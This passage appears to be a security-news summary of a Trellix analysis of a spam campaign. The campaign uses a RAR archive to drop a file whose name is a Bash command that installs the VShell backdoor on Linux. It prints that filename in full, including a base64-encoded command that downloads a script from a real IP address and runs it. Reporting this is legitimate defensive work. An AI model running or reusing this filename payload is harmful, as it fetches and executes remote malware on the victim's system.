Stealth Threat Unpacked: Weaponized RAR Files Deliver VShell Backdoor on Linux Systems

Trellix Advanced Research Center has exposed an infection chain that weaponises nothing more than a filename to compromise Linux hosts. A spam message masquerading as a beauty-product survey offers a small reward and carries a RAR archive, yy.rar. When unpacked, the archive drops a single file whose name is a miniature Bash program: ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash The […]

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